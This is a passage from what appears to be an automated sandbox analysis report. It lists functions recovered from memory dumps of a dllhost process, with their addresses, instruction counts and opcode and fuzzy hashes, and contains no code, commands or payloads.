              • Instruction Fuzzy Hash: B7D1DE7194E3CD4FDB529BA888256E97FB0EF16310F0A01EBD458CB0A3DA786644CB52
              Function 00007FFD9BAB0980 Relevance: .4, Instructions: 357COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: a3e49b62d1a952862149773775cc37babf28d926ff6823bab942b80518518987
              • Instruction ID: eacaa142029899836f940c84d321531219ed3af1da9cbd2ed573de79f6da12fa
              • Opcode Fuzzy Hash: a3e49b62d1a952862149773775cc37babf28d926ff6823bab942b80518518987
              • Instruction Fuzzy Hash: 43C13762A0F7D94FE73247685C241A97FA2FF42754F0905FBD098870F7E8A86A09C785
              Function 00007FFD9BAB2E50 Relevance: .3, Instructions: 336COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: ddb6465fa8c6289a36c34e665b430b14e449803b4b65d924e0a02546914e7bac
              • Instruction ID: 356ed9fa1a3499959ffab03e6f0ffef9827392ba1654f26bf4e057aead895308
              • Opcode Fuzzy Hash: ddb6465fa8c6289a36c34e665b430b14e449803b4b65d924e0a02546914e7bac
              • Instruction Fuzzy Hash: ABB10531A0E68D8FDB51EF6888656ED7FB0FF15325F0501BBE458C60E2DA786544CB81
              Function 00007FFD9BAB55D8 Relevance: .3, Instructions: 293COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 804c979bad63f607244c845573ccd8d7771ea69c7610c184bae4bcd5aed31edf
              • Instruction ID: c99d4c0fdf747cd45215e0470a922316cdc70d35e6c4a63464a790ea64bf3db6
              • Opcode Fuzzy Hash: 804c979bad63f607244c845573ccd8d7771ea69c7610c184bae4bcd5aed31edf
              • Instruction Fuzzy Hash: 60C1AF30E1968D8FEB55EBA4C8757ECBBB1FF09304F1501BAD0589B2E2CA786944CB41
              Function 00007FFD9BAB913B Relevance: .2, Instructions: 246COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: ed517250d8f729621462d79b3ae3d3fe1879fab7396a914c9a120b2389d48027
              • Instruction ID: 1d65de0f195ff3b399dd31acda88228798ab8302ca9d214060addc970b6f9d21
              • Opcode Fuzzy Hash: ed517250d8f729621462d79b3ae3d3fe1879fab7396a914c9a120b2389d48027
              • Instruction Fuzzy Hash: EF919E3194E7CD8FDB529F6488696E97FB0EF16300F0641EBD458C71A3EA786648CB42
              Function 00007FFD9BAAE018 Relevance: .2, Instructions: 245COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: c388e9dfe8b3f6096594a5b283f8f9a81dd68ef3cf09d1683bc272f4cccf7a72
              • Instruction ID: 2c9f4aebd7ec09aa10d844a4c547796eca6987d2686339966fdb66d897236cca
              • Opcode Fuzzy Hash: c388e9dfe8b3f6096594a5b283f8f9a81dd68ef3cf09d1683bc272f4cccf7a72
              • Instruction Fuzzy Hash: A881F631A1E78D8FE7A5DFA488796E9BFA1FF15300F1501FAE448C60E3DA686644C712
              Function 00007FFD9BAA1869 Relevance: .2, Instructions: 229COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 16ddbc5f03ab3ae5415ec6d28c0987719f04f743b898974c3a95c320d44091b1
              • Instruction ID: 44151cc4dbcea0deb77ddcd0abc95269b75736644ff05e7d624c75cb370bdcd0
              • Opcode Fuzzy Hash: 16ddbc5f03ab3ae5415ec6d28c0987719f04f743b898974c3a95c320d44091b1
              • Instruction Fuzzy Hash: 316108277086654FC711BB7CB8A15D87B60EF9523BB0846B3D588CE097DA282459C7D1
              Function 00007FFD9BAB060D Relevance: .2, Instructions: 213COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 0d40512629fe47989588e906079fb8132a3fadef55cf80357ff6cb4df683d575
              • Instruction ID: f754f6de29085ccebf761ad16b9a3dccb585f21b551022dca76206ff203402ff
              • Opcode Fuzzy Hash: 0d40512629fe47989588e906079fb8132a3fadef55cf80357ff6cb4df683d575
              • Instruction Fuzzy Hash: 5F519230E09A5D8FDB95EFA8D8646EDBBB1FF59300F01017AE01DE7292DA74A940CB51
              Function 00007FFD9BAA98B2 Relevance: .2, Instructions: 211COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 75ef1fd9751fd38f597da51bbde1b55913a3ef6efa813f5d14c0b6c267602dcb
              • Instruction ID: 45a93ba8623607f5c3ccb4a1323f4e07770379d3ff371dc1630b6db530802d0c
              • Opcode Fuzzy Hash: 75ef1fd9751fd38f597da51bbde1b55913a3ef6efa813f5d14c0b6c267602dcb
              • Instruction Fuzzy Hash: BF712171E19A5D8FDF98EB58C8A4BACB7A2FF58304F4441B9D00DD72A6CE356941CB00
              Function 00007FFD9BAB05BA Relevance: .2, Instructions: 210COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: a755f9b8893d11136d076fb49423e65af49daeb734cba34935251a99c0791e6d
              • Instruction ID: 96fe00f425b1e0b67eac63a308094dc09cb2f20a2e9ad2dde4670ba030fa11af
              • Opcode Fuzzy Hash: a755f9b8893d11136d076fb49423e65af49daeb734cba34935251a99c0791e6d
              • Instruction Fuzzy Hash: 4851B230E09A5D8FDBA4EF98D8646EDBBB1FF59300F01017AE01DE7296DA74A940CB51
              Function 00007FFD9BAB2EED Relevance: .2, Instructions: 204COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 9fe5ac282b096c9e1678dbdde7a841b32a8b4cad8a031f121d54a4844d76f078
              • Instruction ID: 13493f1c03ac0693af85d0699f468ba59fa33b4941d6e94b0aeafe5a73916426
              • Opcode Fuzzy Hash: 9fe5ac282b096c9e1678dbdde7a841b32a8b4cad8a031f121d54a4844d76f078
              • Instruction Fuzzy Hash: AC714F30E0965D8FDBA0EF98C8647ED7BB1FF19310F1141AAD01CD32A2DA746A84CB51
              Function 00007FFD9BAA8FAD Relevance: .2, Instructions: 200COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: a6ab44018f9714930b1ff052076a5f60662f24eaa6b532a0cd10c652cd102b0b
              • Instruction ID: 36e500a09f949b42c581c24070a24854e4dbdfc2e54d5e953e7d8bf7d6449750
              • Opcode Fuzzy Hash: a6ab44018f9714930b1ff052076a5f60662f24eaa6b532a0cd10c652cd102b0b
              • Instruction Fuzzy Hash: B971943090E68D8FDB51EF64C8686ED7FB1FF1A300F0605A7D458C71A2DA78AA48CB51
              Function 00007FFD9BAA8FC0 Relevance: .2, Instructions: 196COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 4bb8fdc0fb5331af99d6ca9e63a0d8bff97e203e1e2c008377d014ca0ee61393
              • Instruction ID: f50e6598c96353cd7d10b46f00fe79acb9efa5499184eb26344fa3457052ea1c
              • Opcode Fuzzy Hash: 4bb8fdc0fb5331af99d6ca9e63a0d8bff97e203e1e2c008377d014ca0ee61393
              • Instruction Fuzzy Hash: 5061923090E68D8FDB91EF64C8686ED7FB1FF19300F0604A7D448C71A2DA78AA48CB51
              Function 00007FFD9BAB9967 Relevance: .2, Instructions: 196COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: b3580375b25e60d2ae1a2fc3a9b7783daf6121b95e11992a687c1f03dedac37b
              • Instruction ID: 89c7a814ac952eac1cc079e646f2fbadde3e93604b0282a15705adf1bbb7fcb2
              • Opcode Fuzzy Hash: b3580375b25e60d2ae1a2fc3a9b7783daf6121b95e11992a687c1f03dedac37b
              • Instruction Fuzzy Hash: 0761F47194F7CA4FE7529B744C291E93FA0FF12210F0A41EBD4A88A0E3D52D654AC752
              Function 00007FFD9BAA93C8 Relevance: .2, Instructions: 171COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 9523454beb436f0362908bf66f57aecb30a40e7a5da89c5d1373e0403391af5b
              • Instruction ID: 9aec0fa72bda0f7a7e470406cb60a35a7feb129b41fc51d10c3e7ba7e52e7c86
              • Opcode Fuzzy Hash: 9523454beb436f0362908bf66f57aecb30a40e7a5da89c5d1373e0403391af5b
              • Instruction Fuzzy Hash: 1251933094F68E8FDB62AF6489691F97FB1FF06300F0605BAD458C60E2DA786658C751
              Function 00007FFD9BAA18E8 Relevance: .2, Instructions: 170COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 7ac2cf6443f8dec9045f9140798fd4b9ec25b1546a85be524a08124d0d7e1203
              • Instruction ID: 25e6fd772664d1c9953f7f2bf563fe60bbaaaef8382d1c2e287cb10def40e986
              • Opcode Fuzzy Hash: 7ac2cf6443f8dec9045f9140798fd4b9ec25b1546a85be524a08124d0d7e1203
              • Instruction Fuzzy Hash: 98415B277086254BD710BF7CBCA06D87750EF9533BB0846B3D598CE087DA246549C7D1
              Function 00007FFD9BAB53B4 Relevance: .2, Instructions: 161COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 71b9f1cba10bc2b89c14e5ba8e5c2ef5591cc14760217c56b5ce3ae96919c9b6
              • Instruction ID: bbb8e3cadb4ae8625609578a6dde23b7188921a2e5b0f7fd58d60846a95c7c3b
              • Opcode Fuzzy Hash: 71b9f1cba10bc2b89c14e5ba8e5c2ef5591cc14760217c56b5ce3ae96919c9b6
              • Instruction Fuzzy Hash: 9E518F3194E3C98FE7269B648C356E93FB1AF06311F0A01F7D459C60E3DAA86658CB52
              Function 00007FFD9BAB8DAD Relevance: .2, Instructions: 159COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: c337bd26b33561e2cab1c8ca6dba89ceddb3275bb3500c3dc12b76666a1b5614
              • Instruction ID: da9c6f484ea7590c826b78320b0caf2bafc798ac7fd0047ec7bb931971b56ae9
              • Opcode Fuzzy Hash: c337bd26b33561e2cab1c8ca6dba89ceddb3275bb3500c3dc12b76666a1b5614
              • Instruction Fuzzy Hash: 7B515030D0A68D8FDB61EFA8C8647ED7BB0FF15310F1541AAD418D61A2DB789A84CB51
              Function 00007FFD9BAAE4F9 Relevance: .2, Instructions: 159COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: a0dd25bce7f5dd53c2788c49c868b32275b30bfe8027e69cefb041aa03006987
              • Instruction ID: f5a909580e22825b89787245e3038e4e83cc2bec5f09c9aa48cd4a40b364b798
              • Opcode Fuzzy Hash: a0dd25bce7f5dd53c2788c49c868b32275b30bfe8027e69cefb041aa03006987
              • Instruction Fuzzy Hash: 53517170E1964D9FEB51EFE8C868AECBBB1FF19300F1101B9D408E71A2DA746945CB51
              Function 00007FFD9BAB3090 Relevance: .2, Instructions: 159COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: d8bc12d1097d7b05d61798a93bbfb09755d09e358b3166a6fcd1b5dd54709487
              • Instruction ID: 1a6cbad3375357d63921c3d0fdad900ed8794f7041bde042e5053f083477b226
              • Opcode Fuzzy Hash: d8bc12d1097d7b05d61798a93bbfb09755d09e358b3166a6fcd1b5dd54709487
              • Instruction Fuzzy Hash: FD510B7190E6DA4FE765AB7448295F87FA0FF11314F0941FBD4A8860E3DA296509C742
              Function 00007FFD9BAAEC40 Relevance: .2, Instructions: 158COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 759f30f291f3ff3d2d8c876483f386ad5ae223c40552839ae1a5e0760afdb417
              • Instruction ID: 9c56efa7f3b745a310be1cfd39131beb231865f3ae1efdb012ddac0a42a6393f
              • Opcode Fuzzy Hash: 759f30f291f3ff3d2d8c876483f386ad5ae223c40552839ae1a5e0760afdb417
              • Instruction Fuzzy Hash: 02513071E09A5D8FDFA4EFA8C459AEDBBF2FF58310F11006AD00DE7251DA7469418B50
              Function 00007FFD9BAA1589 Relevance: .2, Instructions: 156COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 05f6b0a75c1ea941c775d244f4713b51d18191910124e90062b71b5cc34b92b9
              • Instruction ID: 2e0bccd5220d882125e12b6c8b1a146dc989881e54f1de748b92be071286f8d6
              • Opcode Fuzzy Hash: 05f6b0a75c1ea941c775d244f4713b51d18191910124e90062b71b5cc34b92b9
              • Instruction Fuzzy Hash: 56516E71E0A64D9FEB64DB94C4646FCBBB2EF56310F01017AD009E71E2DAB86A44CB20
              Function 00007FFD9BAA9070 Relevance: .1, Instructions: 143COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 45a49be87f86f13a664ee48403f133bf331450ac6db2ca2548d7b5c99f8d7a1c
              • Instruction ID: 6d9af6185e2a2b535f8b843dcc1ad39da9f38a9731199f3da4318a8b88f679c9
              • Opcode Fuzzy Hash: 45a49be87f86f13a664ee48403f133bf331450ac6db2ca2548d7b5c99f8d7a1c
              • Instruction Fuzzy Hash: A8417070A0A64D8FDF50EF94C8586ED7BB1FF19300F01047AD409D71A2DB78AA54CB61
              Function 00007FFD9BAB30B8 Relevance: .1, Instructions: 143COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 8cb35bcbeca70b966a12b072bb51040f98d67fbd29ffa2b2041f69697a390fdc
              • Instruction ID: 37d70026f4a408341d1653bd03da10021ab6de0f65496786820a7c6fa74aa928
              • Opcode Fuzzy Hash: 8cb35bcbeca70b966a12b072bb51040f98d67fbd29ffa2b2041f69697a390fdc
              • Instruction Fuzzy Hash: 2441E771D0F7CA4FE7659B6448291B87FA0FF21314F0941FBD4A8870E3DA29A519CB42
              Function 00007FFD9BAB4B50 Relevance: .1, Instructions: 132COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 19930b94d1834070173a248a43dc1150adc4e8eb693504a0f6259c95100624ab
              • Instruction ID: 7119ef64905557f2a0b5421bc68b69ced9f9093c53f15df32dcd03b79e9845fa
              • Opcode Fuzzy Hash: 19930b94d1834070173a248a43dc1150adc4e8eb693504a0f6259c95100624ab
              • Instruction Fuzzy Hash: 0F51CB31E0E65D8FEB64EBA0C8646ECBBB1EF09300F01417AD029E61E2DE782644CF11
              Function 00007FFD9BAAE3A8 Relevance: .1, Instructions: 127COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 887dbd0a252c2edb8c61ae341f8e78272ac3def3d691a65262507216d5f077f9
              • Instruction ID: ca096ed7893fabcd3c1c58939be4477a164bb3d0af3f51d2ba9d4a2ec054b386
              • Opcode Fuzzy Hash: 887dbd0a252c2edb8c61ae341f8e78272ac3def3d691a65262507216d5f077f9
              • Instruction Fuzzy Hash: B441E630E0968D8FDB55EBE4C8656EDBBB1FF19310F0501BAE008E7293CA782941CB91
              Function 00007FFD9BAB07E5 Relevance: .1, Instructions: 123COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 9694c860d4740b5f1b911cc3f1844d48e068632b045130ebda6f20367e716a44
              • Instruction ID: 08bb7e86a3df17a3133e9b3c2558c956b0c70786237e4357d4c89fd060088a6d
              • Opcode Fuzzy Hash: 9694c860d4740b5f1b911cc3f1844d48e068632b045130ebda6f20367e716a44
              • Instruction Fuzzy Hash: 2F418F71E0A25E8FEB249BE4C8256FD7BB1AF04710F01017AD058E72E2CA786746CF95
              Function 00007FFD9BAB5430 Relevance: .1, Instructions: 121COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 3d573741fbb705c2296ae42782665e8ce4ab937165e75ce5e40a83f263f42b8b
              • Instruction ID: cf89a73270993db1b97482e823ff4ae818348acf27a592287e73a4e6b66b1be9
              • Opcode Fuzzy Hash: 3d573741fbb705c2296ae42782665e8ce4ab937165e75ce5e40a83f263f42b8b
              • Instruction Fuzzy Hash: F441B531A0E28D8FE7659BA48C356FD7BB1FF06311F0502B6D429C61E2DAB86658CB41
              Function 00007FFD9BAADD3D Relevance: .1, Instructions: 118COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 5f779b1b1a1e77f91fce2399cadb1ff6e74dd3f6002cdeda955354d8b0fba7b6
              • Instruction ID: ef625cbcb2b55923f2bfa63a597984c561407a349d83a7816d2419da69be5d66
              • Opcode Fuzzy Hash: 5f779b1b1a1e77f91fce2399cadb1ff6e74dd3f6002cdeda955354d8b0fba7b6
              • Instruction Fuzzy Hash: C8414C70E09A0D8FDBA5EFA8C4546ADB7B2FF58300F5045B9D44DE7296DE34A982CB40
              Function 00007FFD9BAA9460 Relevance: .1, Instructions: 118COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 4b42a8c55e22d8fc3902f4ff73aaea0d7946af0bd08ac1d611b510a113e0a7b2
              • Instruction ID: be3d7bdb516d7b161d91513d3a7f9c2f51dc16c44c27e4faaa55aed99a439503
              • Opcode Fuzzy Hash: 4b42a8c55e22d8fc3902f4ff73aaea0d7946af0bd08ac1d611b510a113e0a7b2
              • Instruction Fuzzy Hash: D041A63094F68E8FDB61AF6489291F97BB5FF06300F0605B6E45CC60E2DB786658CB51
              Function 00007FFD9BAA8E60 Relevance: .1, Instructions: 115COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 62a04227cf6436d1b64556823edcb239fc0c89809fdfb13503b3d12a2464a9bb
              • Instruction ID: 6ac5104171c2afb2eb6b412eebdf81e78671f482a2c625e4c891341ad348a882
              • Opcode Fuzzy Hash: 62a04227cf6436d1b64556823edcb239fc0c89809fdfb13503b3d12a2464a9bb
              • Instruction Fuzzy Hash: D831D27188F2C98FD7629B609C265E53FB1EF02214F4A41EBE488C64A3C66C9655C362
              Function 00007FFD9BAB0131 Relevance: .1, Instructions: 107COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 9cb93e225a81ea6a7cfe8f675e0ce74ca52a365f3656a2403081815fd5e06534
              • Instruction ID: 5e6d5d212aaf0f35b491da034b42a2400be56604d330b1922eba0636d4d18bea
              • Opcode Fuzzy Hash: 9cb93e225a81ea6a7cfe8f675e0ce74ca52a365f3656a2403081815fd5e06534
              • Instruction Fuzzy Hash: E5210431A1D65D4FEB64EF98E8106EEB7B5FF49310F00017BE41CE3291DA746A058B80
              Function 00007FFD9BAA0DE9 Relevance: .1, Instructions: 101COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa0000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 5dd23903946a4f3b5f5ae31045fef8f7137a1d562185d388354a543706f70cb9
              • Instruction ID: 28fa8678dd35b9fa28c4ebb25b56b5b5a954c3b0bbf0de00356ebf066b7f16c9
              • Opcode Fuzzy Hash: 5dd23903946a4f3b5f5ae31045fef8f7137a1d562185d388354a543706f70cb9
              • Instruction Fuzzy Hash: E0414C70E0A24D8EEB319BA4C4243EDBBF1AF19704F114176D00DE62D2DAB82A44DB69
              Function 00007FFD9BAB5FE0 Relevance: .1, Instructions: 99COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA6000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_19_2_7ffd9baa6000_dllhost.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 4bf50c7d64f42bc4b631af02a081e7283c0172fe28c1d45e37ed5fbb7c44af20
              • Instruction ID: 3a71fbb2560b9abc20fbff0289036191f0071ba48a1ecf36fd815388ab80d4b9
              • Opcode Fuzzy Hash: 4bf50c7d64f42bc4b631af02a081e7283c0172fe28c1d45e37ed5fbb7c44af20
              • Instruction Fuzzy Hash: 5831B63190E3DD4FDB629B6488746E87FB0AF17310F0A41EAC458CB1E3DAA89548CB52
              Function 00007FFD9BAA118F Relevance: .1, Instructions: 99COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 00000013.00000002.2084150599.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false
              Joe Sandbox IDA Plugin
